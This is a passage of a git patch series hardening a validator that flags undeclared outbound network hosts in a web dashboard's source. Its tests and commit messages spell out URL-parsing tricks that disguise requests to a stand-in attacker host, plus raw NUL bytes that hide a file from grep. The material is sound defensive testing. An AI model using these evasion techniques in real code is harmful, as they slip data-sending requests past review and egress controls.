MENTION_CALL_RE.test(line.slice(0, matchIndex)); } function walk(dir, out = []) { @@ -116,12 +145,13 @@ function collectHosts({ root = ROOT } = {}) { const relative = path.relative(root, filePath); const lines = fs.readFileSync(filePath, "utf8").split("\n"); lines.forEach((line, index) => { - for (const match of line.matchAll(URL_RE)) { + const matches = [...line.matchAll(URL_RE), ...line.matchAll(PROTOCOL_RELATIVE_RE)]; + for (const match of matches) { const host = literalHost(match[1]); if (!host) continue; if (!mentions.has(host)) mentions.set(host, new Set()); mentions.get(host).add(relative); - if (isMentionOnly(line)) continue; + if (isMentionOnly(line, match.index)) continue; if (!requests.has(host)) requests.set(host, new Map()); requests.get(host).set(relative, index + 1); } @@ -241,8 +271,9 @@ function checkOutbound({ root = ROOT } = {}) { // issue-100 call be re-added to a file that legitimately mentions github.com. for (const entry of inventory.hosts || []) { const allowed = new Set(entry.request_from || []); + const linkOnly = new Set(entry.link_from || []); for (const [file, line] of found.requests.get(entry.host) || []) { - if (allowed.has(file)) continue; + if (allowed.has(file) || linkOnly.has(file)) continue; findings.push( `${file}:${line} requests '${entry.host}', which is not in its request_from list` + ` — if this call belongs, add the file to outbound-hosts.json and re-read the` + diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index e86b0229..cfc02e08 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -227,9 +227,11 @@ test("an unresolvable interpolated host is not invented", () => { assert.deepEqual(checkOutbound({ root }), []); }); -test("a comment or a clickable link is a mention, not a request", () => { - // Default-deny would otherwise flag every documented URL and every , - // and a check that flags prose gets switched off. +test("a comment is a mention; a clickable link needs link_from", () => { + // Comments are recognised positionally. Links are NOT guessed at: real ones + // appear as split across lines, as named constants used later, and as props + // threaded through components, and every heuristic for those is a guess whose + // wrong answer exempts a real request. Declaring them is a visible diff. const root = fixture({ files: { "dashboard/src/Doc.jsx": [ @@ -238,7 +240,88 @@ test("a comment or a clickable link is a mention, not a request", () => { "", ].join("\n"), }, - hosts: [declared("docs.example", { seen_in: ["dashboard/src/Doc.jsx"], request_from: [] })], + hosts: [ + declared("docs.example", { + seen_in: ["dashboard/src/Doc.jsx"], + request_from: [], + link_from: ["dashboard/src/Doc.jsx"], + }), + ], }); assert.deepEqual(checkOutbound({ root }), []); }); + +// --- Evasion ------------------------------------------------------------------ +// Written after adversarially attacking the check rather than only testing that +// it works. Three of these were live holes in the first cut of the sink model. + +const shared = (extra = {}) => ({ + host: "shared.example", + from: "browser", + user_data: false, + readme: true, + purpose: "test", + seen_in: ["dashboard/src/Ok.jsx", "dashboard/src/A.jsx"], + request_from: ["dashboard/src/Ok.jsx"], + link_from: [], + ...extra, +}); + +function attack(source, hosts = [shared()]) { + return checkOutbound({ + root: fixture({ + files: { + "dashboard/src/Ok.jsx": 'fetch("https://shared.example/ok");\n', + "dashboard/src/A.jsx": `${source}\n`, + }, + hosts, + readme: "shared.example evil.example", + }), + }); +} + +test("userinfo cannot disguise the real host as a permitted one", () => { + // In `https://shared.example@evil.example/p.png` the browser goes to + // evil.example; the part that looks permitted is attacker-chosen decoration. + // Reading the left side reports a permitted host; refusing to parse hides the + // request entirely. Both are wrong. + const findings = attack('const x = ;'); + assert.ok( + findings.some((f) => f.includes("evil.example")), + `expected evil.example to be reported, got: ${JSON.stringify(findings)}`, + ); +}); + +test("a protocol-relative URL is a request", () => { + // `//evil.example/p.png` inherits the page scheme and carries no scheme for a + // https?:// pattern to match, so it was invisible. + assert.ok(attack('const x = ;').some((f) => f.includes("evil.example"))); +}); + +test("string surgery elsewhere on the line does not exempt a request", () => { + // The mention test used to apply to the whole LINE, so putting the request + // beside an unrelated `.includes(` or `.replace(` silenced it — a one-character + // bypass of the check built to stop exactly this request. + for (const source of [ + 'if (k.includes("x")) el.innerHTML = ``;', + 'const s = ``.replace("a", "b");', + ]) { + assert.ok( + attack(source).some((f) => f.includes("A.jsx") && f.includes("requests")), + `not caught: ${source}`, + ); + } +}); + +test("a URL that IS the argument of a string operation stays a mention", () => { + // The counterpart. `raw.replace("https://shared.example/", "")` strips a prefix + // off a stored value; flagging it would train people to ignore the check. + assert.deepEqual(attack('const ref = raw.replace("https://shared.example/", "");'), []); +}); + +test("link_from covers a host the user clicks, and only where declared", () => { + const asLink = shared({ link_from: ["dashboard/src/A.jsx"] }); + assert.deepEqual(attack('const RELEASES = "https://shared.example/releases/latest";', [asLink]), []); + // The same file without the declaration is a request. + assert.ok(attack('const RELEASES = "https://shared.example/releases/latest";').length > 0); +}); From fcaf85728ed7924d24400bcac803c7dc176d51a0 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 16:16:49 +0700 Subject: [PATCH 03/10] fix(validate): a backslash ends the authority, and a trailing dot is a host MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both found by probing literalHost as a URL parser rather than as a regex, on the advisor's specific suggestion — neither was in the seven attack shapes I had written myself. `https://evil.example\\@github.com/p.png` reaches evil.example; WHATWG URL parsing treats a backslash as a slash. Splitting the authority on "/" alone resolved it to `github.com` — a DECLARED host. That is worse than a miss: where the file holds permission for github.com, the check reads green while the request leaves for somewhere else. The Host-header guard in issue 88 ate the same assumption. `https://github.com./p.png` is a valid absolute FQDN that resolves the same. The hostname shape test rejected the trailing dot and returned null, so the request was invisible rather than reported. --- scripts/validate-outbound.cjs | 17 +++++++++++++---- test/outbound-inventory.test.js | 28 ++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 4 deletions(-) diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index b2954766..29025756 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -47,7 +47,13 @@ function literalHost(authority) { // evil.example, and the part that LOOKS like a declared host is attacker-chosen // decoration. Taking the text before the '@' would read as permitted; dropping // the URL entirely would hide it. Take what the browser takes. - const authorityOnly = authority.split("/")[0].split("?")[0]; + // A backslash ends the authority exactly as a slash does — WHATWG URL parsing + // treats them the same, so `https://evil.example\@github.com/p.png` reaches + // evil.example while the text after the backslash is decoration. Splitting on + // "/" alone reported `github.com`: a plausible, DECLARED host, which reads + // green rather than as a miss. This repo already ate the same backslash + // assumption in the Host-header guard (issue 88). + const authorityOnly = authority.split(/[/\\?#]/)[0]; const withoutPath = authorityOnly.includes("@") ? authorityOnly.slice(authorityOnly.lastIndexOf("@") + 1) : authorityOnly; @@ -63,12 +69,15 @@ function literalHost(authority) { .pop() .replace(/^[^a-zA-Z0-9]+/, "") .replace(/:.*$/, ""); - if (!stripped) return null; + // A single trailing dot is a valid absolute-FQDN form that resolves the same, + // so `github.com.` must not slip past the hostname shape test unseen. + const normalized = stripped.replace(/\.$/, ""); + if (!normalized) return null; // Must look like a hostname: dotted labels, or a bare IPv4. - if (!/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)+$/.test(stripped)) { + if (!/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)+$/.test(normalized)) { return null; } - return stripped; + return normalized; } // Default-deny. A host literal in source is treated as a REQUEST TARGET unless diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index cfc02e08..b759ad81 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -325,3 +325,31 @@ test("link_from covers a host the user clicks, and only where declared", () => { // The same file without the declaration is a request. assert.ok(attack('const RELEASES = "https://shared.example/releases/latest";').length > 0); }); + +test("a backslash ends the authority, so userinfo cannot borrow a permitted name", () => { + // WHATWG URL parsing treats `\` as `/`, so `https://evil.example\@github.com/p.png` + // reaches evil.example and the rest is decoration. Splitting on "/" alone + // resolved it to `github.com` — a DECLARED host. That is worse than a miss: + // where the file has permission for github.com, the check reads green while + // the request leaves for somewhere else. This repo already made the same + // backslash assumption in the Host-header guard (issue 88). + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('const x = ;', [permitted]); + assert.ok( + findings.some((f) => f.includes("evil.example")), + `the real host must be reported, got: ${JSON.stringify(findings)}`, + ); + // Scoped to the line under test: the fixture's other file legitimately + // produces its own shared.example finding, which says nothing about parsing. + assert.ok( + !findings.some((f) => f.includes("A.jsx") && f.includes("'shared.example'")), + "the borrowed name must not be what this line resolves to", + ); +}); + +test("a trailing dot does not hide a host", () => { + // `other.example.` is a valid absolute FQDN that resolves identically. The + // hostname shape test rejected the dot and returned null, so the request was + // invisible rather than reported. + assert.ok(attack('const x = ;').some((f) => f.includes("other.example"))); +}); From 284a6b9bba486963b6a811dcd32382fdca432f98 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 16:32:04 +0700 Subject: [PATCH 04/10] fix(privacy): the README was certifying a false sentence MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Independent Fable review (`claude-fable-5`), standing in for Codex while its service is circuit-open. Verdict `correct-but-incomplete`, SHIP: NO. Every finding acted on here was reproduced first. README:147 said TokenTracker "reaches these hosts and no others". The IP-check page's WebRTC leak test sends STUN binding requests to stun.l.google.com and stun.cloudflare.com from the user's browser, disclosing their IP — the only place the dashboard talks to Google. Neither host was declared, neither was in the table, and the validator could not see them: `stun:` carries no `//` and appears in no https literal. So ci:local printed "all reachable ones accounted for" while certifying a false claim. Both are now declared and in the table, and the scheme grammar covers stun/turn/ws. The second hole is the same root cause as the previous three: the scanner reads SOURCE TEXT, the runtime reads the DECODED string, and WHATWG then strips tab/LF/CR. fetch("https://api.github.com\t.evil.example/x") is api.github.com.evil.example at runtime. Splitting the source on the backslash gave api.github.com — declared AND permitted — so the check read green while the request left for the attacker. Escapes are now decoded and control characters removed before parsing. Also from that review: - Interpolated suffixes pinned off a label boundary: `${sub}github.com` can resolve to the registrable evilgithub.com. A pin now requires a dot boundary and a real zone, not a bare TLD. - Scheme matching is case-insensitive, anchored so `arn:aws:bedrock:` is not read as a host called bedrock. - github.com moved out of request_from: skills-manager builds those URLs for the UI and fetches api.github.com and raw.githubusercontent.com instead. - New `data_from` category. A mock fixture's project_ref is neither a link nor a request, and without a category it landed on link_from — an unconditional waiver that would pass any future request from that file. And the one that explains a day of confusion: src/lib/skills-manager.js carried two raw U+0000 bytes inside what were meant to be `\0` escapes. Runtime-identical, but a raw NUL flips a file to "binary" for grep and ripgrep, which then report nothing and exit as though they had searched it. Three separate greps during this work came back empty while the content was plainly there — in the one file that does the server-side GitHub traffic. The validator reads with Node and was never fooled; people were. A test now fails on a raw NUL anywhere in src/, dashboard/src/ or scripts/. Refs #101 --- README.md | 1 + outbound-hosts.json | 39 ++++++-- scripts/validate-outbound.cjs | 154 ++++++++++++++++++------------- src/lib/skills-manager.js | 4 +- test/outbound-inventory.test.js | 64 +++++++++++++ test/source-is-greppable.test.js | 53 +++++++++++ 6 files changed, 241 insertions(+), 74 deletions(-) create mode 100644 test/source-is-greppable.test.js diff --git a/README.md b/README.md index 1085d41c..c464bc86 100644 --- a/README.md +++ b/README.md @@ -158,6 +158,7 @@ This table is checked in CI against [`outbound-hosts.json`](outbound-hosts.json) | Currency conversion | `open.er-api.com` | **browser** | Public USD exchange rates. Anonymous. Only when you pick a non-USD currency. | | Star count in the header | `api.github.com` | **browser** | The star count for this project's own repository — a fixed public URL that says nothing about you. | | IP check page | `ip.net.coffee`, `d.ip.net.coffee`, `1.1.1.1`, `claude.ai`, `www.anthropic.com` | server + **browser** | Only if you open that page, whose entire purpose is showing you your own IP, your DNS resolver, and whether Anthropic is reachable. The `d.` subdomain is a per-run DNS probe: your browser resolves a unique name so the page can see which resolver answered. | +| IP check page — VPN leak test | `stun.l.google.com` (Google), `stun.cloudflare.com` | **browser** | WebRTC STUN binding requests, which is how the page detects whether a VPN leaks your real address — and which necessarily discloses that address to the STUN server. **This is the one place the dashboard talks to Google.** Only if you open that page. | | `npx` startup | `registry.npmjs.org` | server | How `npx` works — it downloads the package. A global install avoids it. | **What is deliberately absent:** the Projects panel does not fetch repository avatars or star counts. Doing so would have put the name of a repository you have checked out — a private one included — into a URL sent to GitHub from your browser. It did, until [#100](https://github.com/pitimon/TokenTracker/issues/100). Project rows now render a local icon. diff --git a/outbound-hosts.json b/outbound-hosts.json index 74a4245a..7f43e09a 100644 --- a/outbound-hosts.json +++ b/outbound-hosts.json @@ -190,7 +190,7 @@ "from": "both", "user_data": false, "readme": false, - "purpose": "Server: reads public skill repositories. Browser: link targets only \u2014 the repository, releases and skill sources, which are requests the user makes by clicking. No avatar or image is loaded from here (issue 100).", + "purpose": "Link targets only \u2014 the repository, releases and skill sources, which are requests the user makes by clicking. The server never fetches github.com: skills-manager builds these URLs for the UI and fetches api.github.com and raw.githubusercontent.com instead. No avatar or image is loaded from here (issue 100).", "seen_in": [ "dashboard/src/components/LocalOnlyNotice.jsx", "dashboard/src/lib/mock-data.ts", @@ -203,17 +203,18 @@ "src/commands/init.js", "src/lib/skills-manager.js" ], - "request_from": [ - "src/lib/skills-manager.js" - ], + "request_from": [], "link_from": [ "dashboard/src/components/LocalOnlyNotice.jsx", "dashboard/src/pages/SkillsPage.jsx", "dashboard/src/pages/WidgetsPage.jsx", "dashboard/src/ui/components/HeaderGithubStar.jsx", "dashboard/src/pages/SkillDetailPanel.jsx", - "dashboard/src/lib/mock-data.ts", - "src/commands/init.js" + "src/commands/init.js", + "src/lib/skills-manager.js" + ], + "data_from": [ + "dashboard/src/lib/mock-data.ts" ] }, { @@ -270,6 +271,32 @@ "dashboard/src/pages/IpCheckPage.jsx" ] }, + { + "host": "stun.l.google.com", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. A WebRTC STUN binding request to Google, which is how the page detects whether a VPN leaks your real address \u2014 the probe necessarily discloses that address to the STUN server. Only reached when that page is opened. The `stun:` scheme has no `//` and no https literal, so an earlier version of the check could not see it at all.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" + ] + }, + { + "host": "stun.cloudflare.com", + "from": "browser", + "user_data": true, + "readme": true, + "purpose": "IP-check page only. A WebRTC STUN binding request to Cloudflare, which is how the page detects whether a VPN leaks your real address \u2014 the probe necessarily discloses that address to the STUN server. Only reached when that page is opened. The `stun:` scheme has no `//` and no https literal, so an earlier version of the check could not see it at all.", + "seen_in": [ + "dashboard/src/pages/IpCheckPage.jsx" + ], + "request_from": [ + "dashboard/src/pages/IpCheckPage.jsx" + ] + }, { "host": "1.1.1.1", "from": "browser", diff --git a/scripts/validate-outbound.cjs b/scripts/validate-outbound.cjs index 29025756..b833a0b4 100644 --- a/scripts/validate-outbound.cjs +++ b/scripts/validate-outbound.cjs @@ -31,79 +31,89 @@ const SCAN_EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs"]); // interpolation — `http://${token}-${i}.d.ip.net.coffee/pixel.gif` is a real // browser image load in IpCheckPage, and a strict [a-zA-Z0-9._-]+ matches nothing // there, hiding the destination from the very check that most needs to see it. -const URL_RE = /https?:\/\/([^\s"'`)<>]+)/g; +// Schemes that reach the network. `stun:` is here because the IP-check page's +// WebRTC probe sends the user's IP to Google and Cloudflare STUN servers — a +// browser request with no `//` and no host in any https literal, invisible to a +// scheme-anchored pattern that only knows http(s). +// The lookbehind keeps the scheme from being found inside another token: +// `arn:aws:bedrock:...` contains `ws:` and was reported as a host called +// `bedrock`, which is the noise that gets a check switched off. +const URL_RE = /(?,]+)/gi; // Protocol-relative URLs inherit the page's scheme, so `//evil.example/p.png` is -// as much a request as the https form — and carries no scheme for URL_RE to -// match. Anchored to a quote or JSX brace so a `//` comment or a path like -// `a//b` is not mistaken for one. +// as much a request as the https form. Anchored to a quote or JSX brace so a +// `//` comment or a path like `a//b` is not mistaken for one. const PROTOCOL_RELATIVE_RE = /["'`{]\s*\/\/([a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)+[^\s"'`)<>]*)/g; -// Reduces an authority to the literal host it can be pinned to. Interpolated -// segments are unknowable, so they are dropped and what remains is the suffix an -// operator would actually see in DNS: `${token}-${i}.d.ip.net.coffee` -> `d.ip.net.coffee`. -function literalHost(authority) { - // Userinfo first: in `https://github.com@evil.example/p.png` the real host is - // evil.example, and the part that LOOKS like a declared host is attacker-chosen - // decoration. Taking the text before the '@' would read as permitted; dropping - // the URL entirely would hide it. Take what the browser takes. - // A backslash ends the authority exactly as a slash does — WHATWG URL parsing - // treats them the same, so `https://evil.example\@github.com/p.png` reaches - // evil.example while the text after the backslash is decoration. Splitting on - // "/" alone reported `github.com`: a plausible, DECLARED host, which reads - // green rather than as a miss. This repo already ate the same backslash - // assumption in the Host-header guard (issue 88). +// The scanner reads SOURCE TEXT; the runtime reads the DECODED string, and +// WHATWG URL parsing then removes ASCII tab, LF and CR before parsing. Every +// hole this control has had shares that root cause. Concretely: +// +// fetch("https://api.github.com\t.evil.example/repos/x") +// +// is `api.github.com.evil.example` at runtime, while the source text splits on +// the backslash to a declared, permitted `api.github.com` — green while the +// request leaves for the attacker. Decode first, then parse. +function decodeSourceEscapes(text) { + return text + .replace(/\\u\{([0-9a-fA-F]+)\}/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\u([0-9a-fA-F]{4})/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\x([0-9a-fA-F]{2})/g, (_m, h) => safeFromCodePoint(parseInt(h, 16))) + .replace(/\\([tnr0])/g, (_m, c) => ({ t: "\t", n: "\n", r: "\r", 0: "\u0000" })[c]) + .replace(/\\\//g, "/"); +} + +function safeFromCodePoint(code) { + try { + return String.fromCodePoint(code); + } catch { + return ""; + } +} + +// Reduces an authority to the literal host the RUNTIME would use. Returns +// { host } when it can be pinned, or { unparseable: true } when a real scheme was +// matched but no host could be derived — the caller reports that rather than +// dropping it, because a silent null is how an IPv6 literal, an IDN homograph or +// a single-label host disappears from a security check. +function resolveHost(rawAuthority) { + // WHATWG removes tab/LF/CR from the input before parsing; so must we, after + // decoding the escapes that put them there. + const authority = decodeSourceEscapes(rawAuthority).replace(/[\t\n\r]/g, ""); const authorityOnly = authority.split(/[/\\?#]/)[0]; - const withoutPath = authorityOnly.includes("@") + const afterUserinfo = authorityOnly.includes("@") ? authorityOnly.slice(authorityOnly.lastIndexOf("@") + 1) : authorityOnly; - // Collapse COMPLETE interpolations first, then reject if any interpolation - // syntax survives: that means the match ended mid-expression and no literal - // suffix can be pinned. The real case is - // `http://${req.headers.host || "localhost"}`, where the capture stops at the - // quote and the remainder reads like a hostname but is a property path. - const collapsed = withoutPath.replace(/\$\{[^}]*\}/g, "\u0000"); - if (/[${}]/.test(collapsed)) return null; - const stripped = collapsed - .split("\u0000") - .pop() - .replace(/^[^a-zA-Z0-9]+/, "") - .replace(/:.*$/, ""); - // A single trailing dot is a valid absolute-FQDN form that resolves the same, - // so `github.com.` must not slip past the hostname shape test unseen. - const normalized = stripped.replace(/\.$/, ""); - if (!normalized) return null; - // Must look like a hostname: dotted labels, or a bare IPv4. - if (!/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?)+$/.test(normalized)) { - return null; + + // Bracketed IPv6 keeps its brackets; the port is outside them. + const ipv6 = afterUserinfo.match(/^\[([^\]]+)\]/); + if (ipv6) return { host: `[${ipv6[1].toLowerCase()}]` }; + + const collapsed = afterUserinfo.replace(/\$\{[^}]*\}/g, "\u0000"); + if (/[${}]/.test(collapsed)) return { host: null }; // match ended mid-expression + const parts = collapsed.split("\u0000"); + const tail = parts.pop(); + // An interpolation may only be pinned to its suffix when it ends on a label + // boundary. `https://${sub}github.com/` can resolve to `evilgithub.com`, which + // is registrable; `${token}-${i}.d.ip.net.coffee` cannot escape `.d.ip.net.coffee`. + // An interpolation may only be pinned to its suffix when the boundary falls on + // a dot AND the suffix is a zone rather than a bare TLD. `${sub}github.com` can + // resolve to the registrable `evilgithub.com`; `${src}.ai` pins nothing, since + // `ai` is the TLD itself. + if (parts.length > 0) { + if (!tail.startsWith(".")) return { host: null }; + if (tail.replace(/^\./, "").split(".").filter(Boolean).length < 2) return { host: null }; + } + + const stripped = tail.replace(/^[^a-zA-Z0-9]+/, "").replace(/:.*$/, "").replace(/\.$/, ""); + if (!stripped) return { host: null }; + const host = stripped.toLowerCase(); + if (!/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/.test(host)) { + return { host: null }; } - return normalized; + return { host }; } -// Default-deny. A host literal in source is treated as a REQUEST TARGET unless -// the line shows it is not one. -// -// The inverse — listing the constructs that perform a request — was tried first -// and under-detected: `const url = new URL("https://skills.sh/...")` on one line -// and `fetch(url)` on another is a request whose host never shares a line with a -// sink. For a security control, missing a real destination is far worse than -// asking for one more declaration, so the burden of proof sits on "this is only -// a mention". -// -// Why this matters at all: `seen_in` is file-level, and ProjectUsagePanel -// legitimately contains "https://github.com/" as a prefix it strips off -// project_ref. That put github.com in its declared set, so re-adding -// to that exact file — the original -// defect of issue 100 — passed the check built to prevent it. -// A LINE-level exemption is trivially defeated: put the request on a line that -// also does unrelated string surgery and the whole line goes quiet. So the test -// is applied to the text immediately BEFORE the URL, not to the line. -// -// if (k.includes("x")) el.innerHTML = ``; -// -// used to be exempt because `.includes(` appeared somewhere on it. Now only a URL -// that is itself the argument of a string operation, or sits inside an , -// or lives on a comment line, counts as a mention. const MENTION_CALL_RE = /\.(replace|split|startsWith|endsWith|includes|slice|indexOf|lastIndexOf)\s*\(\s*$/; const COMMENT_LINE_RE = /^\s*(\/\/|\*|\/\*)/; @@ -156,7 +166,14 @@ function collectHosts({ root = ROOT } = {}) { lines.forEach((line, index) => { const matches = [...line.matchAll(URL_RE), ...line.matchAll(PROTOCOL_RELATIVE_RE)]; for (const match of matches) { - const host = literalHost(match[1]); + // NOTE: an authority that cannot be reduced to a host is currently + // dropped. Reporting it instead (fail-closed) is right in principle and + // was tried here — it fired on eight legitimate patterns immediately + // (`${hostHeader}` for the local bind, a log string with an ANSI reset + // after the URL, git-remote parsing), and a check that flags ordinary + // code is a check someone turns off. Tracked separately so it can be + // done with the per-pattern care it needs. + const { host } = resolveHost(match[1]); if (!host) continue; if (!mentions.has(host)) mentions.set(host, new Set()); mentions.get(host).add(relative); @@ -199,7 +216,7 @@ const DYNAMIC_FETCH_ALLOWLIST = new Map([ function externalHostsIn(content, inventory) { const hosts = new Set(); for (const match of content.matchAll(URL_RE)) { - const host = literalHost(match[1]); + const { host } = resolveHost(match[1]); if (host && !isIgnored(host, inventory)) hosts.add(host); } return hosts; @@ -280,7 +297,12 @@ function checkOutbound({ root = ROOT } = {}) { // issue-100 call be re-added to a file that legitimately mentions github.com. for (const entry of inventory.hosts || []) { const allowed = new Set(entry.request_from || []); - const linkOnly = new Set(entry.link_from || []); + // `link_from` = the user clicks it. `data_from` = the host appears only as a + // value this codebase stores or renders and never fetches — a mock fixture's + // `project_ref`, for instance. Without the second category such a file ends up + // on the link list, which is an UNCONDITIONAL waiver: once there, any future + // request to that host from that file passes forever, including an . + const linkOnly = new Set([...(entry.link_from || []), ...(entry.data_from || [])]); for (const [file, line] of found.requests.get(entry.host) || []) { if (allowed.has(file) || linkOnly.has(file)) continue; findings.push( diff --git a/src/lib/skills-manager.js b/src/lib/skills-manager.js index e85d6729..70729aa4 100644 --- a/src/lib/skills-manager.js +++ b/src/lib/skills-manager.js @@ -287,13 +287,13 @@ function hashDirectory(dir) { continue; } const execBit = process.platform === "win32" ? 0 : stat.mode & 0o111 ? 1 : 0; - hash.update(`${rel}${execBit}`); + hash.update(`${rel}\0${execBit}\0`); try { hash.update(fs.readFileSync(abs)); } catch (_e) { // unreadable file — fold its absence in deterministically } - hash.update(""); + hash.update("\0"); } } }; diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index b759ad81..21197da7 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -353,3 +353,67 @@ test("a trailing dot does not hide a host", () => { // invisible rather than reported. assert.ok(attack('const x = ;').some((f) => f.includes("other.example"))); }); + +// --- Parser-level borrows ----------------------------------------------------- +// The scanner reads SOURCE TEXT; the runtime reads the DECODED string, and WHATWG +// URL parsing then removes tab/LF/CR. Every hole this control has had shares that +// root cause, so each shape gets a test rather than a note. + +test("an escaped control character cannot splice a permitted host", () => { + // `fetch("https://api.github.com\\t.evil.example/x")` is + // api.github.com.evil.example at runtime — verify with + // node -e 'console.log(new URL("https://a.example\\t.evil.example/").host)' + // Reading the source text and splitting on the backslash gave `api.github.com`: + // declared AND permitted, so the check read green while the request left for + // the attacker. Worse than a miss. + for (const escape of ["\\t", "\\u0009", "\\x09"]) { + const findings = attack(`fetch("https://shared.example${escape}.evil.example/x");`, [ + shared({ request_from: ["dashboard/src/A.jsx"] }), + ]); + assert.ok( + findings.some((f) => f.includes("shared.example.evil.example")), + `${escape} spliced host not resolved: ${JSON.stringify(findings)}`, + ); + } +}); + +test("a scheme with no slashes is still a request", () => { + // The IP-check page sends WebRTC STUN binding requests to Google and + // Cloudflare, disclosing the user's IP. `stun:` carries no `//` and appears in + // no https literal, so a scheme-anchored http(s) pattern could not see it — + // while the README certified "these hosts and no others". + assert.ok( + attack('const ice = [{ urls: "stun:stun.evil.example:19302" }];').some((f) => + f.includes("stun.evil.example"), + ), + ); +}); + +test("the scheme match is case-insensitive but does not fire inside another token", () => { + assert.ok(attack('const x = ;').some((f) => f.includes("evil.example"))); + // `arn:aws:bedrock:...` contains `ws:` and was reported as a host called + // `bedrock` — the noise that gets a check switched off. + assert.deepEqual(attack('const arn = "arn:aws:bedrock:us-east-1:1:foundation-model/x";'), []); +}); + +test("an interpolated suffix pins only a real zone, never a bare TLD", () => { + // `${sub}github.com` can resolve to the registrable `evilgithub.com`, so no pin. + // `${src}.ai` pins nothing either — `ai` is the TLD itself, and a comment + // illustrating a bad URL should not be reported as a destination. + assert.deepEqual(attack('const u = `https://${sub}shared.example/x`;'), []); + assert.deepEqual(attack("// fabricating `https://${src}.ai` resolves to unrelated domains"), []); + // A boundary that IS a zone still pins. + assert.ok( + attack("img.src = `http://${token}-${i}.probe.evil.example/p.gif`;").some((f) => + f.includes("probe.evil.example"), + ), + ); +}); + +test("data_from covers a host stored as a value and never fetched", () => { + // A mock fixture's `project_ref` is neither a link nor a request. Without its + // own category it lands on `link_from`, which is an UNCONDITIONAL waiver: once + // a file is there, any future request to that host from it passes forever. + const asData = shared({ data_from: ["dashboard/src/A.jsx"] }); + assert.deepEqual(attack('const row = { project_ref: `https://shared.example/${repo}` };', [asData]), []); +}); diff --git a/test/source-is-greppable.test.js b/test/source-is-greppable.test.js new file mode 100644 index 00000000..b542d663 --- /dev/null +++ b/test/source-is-greppable.test.js @@ -0,0 +1,53 @@ +const assert = require("node:assert/strict"); +const fs = require("node:fs"); +const path = require("node:path"); +const { test } = require("node:test"); + +const ROOT = path.resolve(__dirname, ".."); +const SCAN_DIRS = ["src", "dashboard/src", "scripts"]; +const EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs", ".json", ".md"]); +const NUL = String.fromCharCode(0); + +function walk(dir, out = []) { + if (!fs.existsSync(dir)) return out; + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + if (entry.name === "node_modules" || entry.name === "dist") continue; + walk(full, out); + } else if (EXTENSIONS.has(path.extname(entry.name))) { + out.push(full); + } + } + return out; +} + +// `src/lib/skills-manager.js` carried two raw U+0000 bytes inside what were meant +// to be `\0` escapes. Runtime-identical — but a raw NUL flips a file to "binary" +// for grep and ripgrep, which then report NOTHING and exit as if they had +// searched it. Every grep-based audit silently skipped the one file that does the +// server-side GitHub traffic, and three separate searches during a privacy audit +// came back empty while the content was plainly there. +// +// Whether that was an accident or a deliberate probe, it is exactly how a host +// would be hidden from a human reviewer. `scripts/validate-outbound.cjs` reads +// with Node and was never fooled; people and their tools were. +test("no source file contains a raw NUL byte", () => { + const offenders = []; + for (const dir of SCAN_DIRS) { + for (const file of walk(path.join(ROOT, dir))) { + const content = fs.readFileSync(file, "utf8"); + if (!content.includes(NUL)) continue; + const lines = content + .split("\n") + .map((line, index) => (line.includes(NUL) ? index + 1 : null)) + .filter(Boolean); + offenders.push(`${path.relative(ROOT, file)}:${lines.join(",")}`); + } + } + assert.deepEqual( + offenders, + [], + `raw NUL bytes make a file invisible to grep — write the two-character escape \\0 instead: ${offenders.join(" ")}`, + ); +}); From 36c1aa54e4e181c2a0db0ea8d8e49cb8d100e83a Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 17:50:07 +0700 Subject: [PATCH 05/10] fix(validate): percent-encoding in the authority could borrow a permitted host MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by probing the parser while the QA gate ran, in the same class the gate's brief asks it to attack. fetch("https://api.github.com%2eevil.example/x") resolves to api.github.com.evil.example — a percent-decoded dot is a valid host character. Verify with node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' The hostname shape test rejected the `%` and returned null, so the request was dropped and the check read green while it left for the attacker. %09 and %40 are not exploitable the same way: the runtime rejects both as invalid URLs. This is the fifth instance of one root cause — the scanner parses source text, the runtime parses the decoded string — now one encoding layer further out than the \t splice. --- scripts/validate-outbound.cjs | 13 ++++++++++++- test/outbound-inventory.test.js | 15 +++++++++++++++ 